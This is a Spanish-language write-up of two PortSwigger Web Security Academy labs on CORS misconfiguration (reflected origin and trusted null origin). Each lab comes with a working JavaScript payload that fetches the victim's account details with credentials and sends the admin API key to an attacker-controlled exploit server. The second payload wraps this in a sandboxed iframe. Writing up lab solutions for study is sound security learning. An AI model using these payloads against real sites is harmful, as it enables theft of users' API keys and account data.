Cross-origin resource sharing (CORS)

Lab: CORS vulnerability with basic origin reflection

Enunciado

Este sitio web tiene una configuración CORS insegura, ya que confía en todos los orígenes. Crea un código JavaScript que use CORS para obtener la clave API del administrador y súbelo a tu servidor de exploits. El laboratorio se considera resuelto cuando logres enviar con éxito la clave API del administrador.

Puedes iniciar sesión en tu propia cuenta con las siguientes credenciales:

  • Usuario: wiener

  • Contraseña: peter

Resolución

Nos logueamos. Vemos la petición de los detalles del usuario.

Vemos que se encuentra la cabecera Access-Control-Allow-Credentials que es vulnerable a CORS. Añadimos la cabecera Origin.

Sabiendo esto realizamos este script para enviarlo a la víctima.

<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','https://0a6b006e0413a15d83e2e31b00e70026.web-security-academy.net/accountDetails',true);
  req.withCredentials = true;
  req.send();

  function reqListener() {
      location='/log?key='+this.responseText;
  };
</script>

Viendo los logs vemos que una petición al enviarle a la víctima que decodificamos.

Hemos encontrado la API.

Lab: CORS vulnerability with trusted null origin

Enunciado

Este sitio web tiene una configuración CORS insegura, ya que confía en el origen "null". Crea un código JavaScript que use CORS para obtener la clave API del administrador y súbelo a tu servidor de exploits. El laboratorio se considera resuelto cuando logres enviar con éxito la clave API del administrador.

Puedes iniciar sesión en tu propia cuenta con las siguientes credenciales:

  • Usuario: wiener

  • Contraseña: peter

Resolución

Nos logueamos. Vemos la petición de los detalles del usuario.

Vemos que se encuentra la cabecera Access-Control-Allow-Credentials que es vulnerable a CORS. Añadimos la cabecera Origin.

Vemos que no está permitido el acceso desde test.com. Tras esto lo cambiamos a null el Origin.

Vemos que ahora sí que hay acceso a nulos. Sabiendo esto realizamos el script.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','https://0a47008e03322d42809f12540004005c.web-security-academy.net/accountDetails',true);
  req.withCredentials = true;
  req.send();

  function reqListener() {
      location='https://exploit-0afe000e03de2d7f80ef1117010800cb.exploit-server.net/exploit/log?key='+encodeURIComponent(this.responseText);
  };
</script>"></iframe>

Viendo los logs vemos que una petición al enviarle a la víctima que decodificamos.

Last updated

Was this helpful?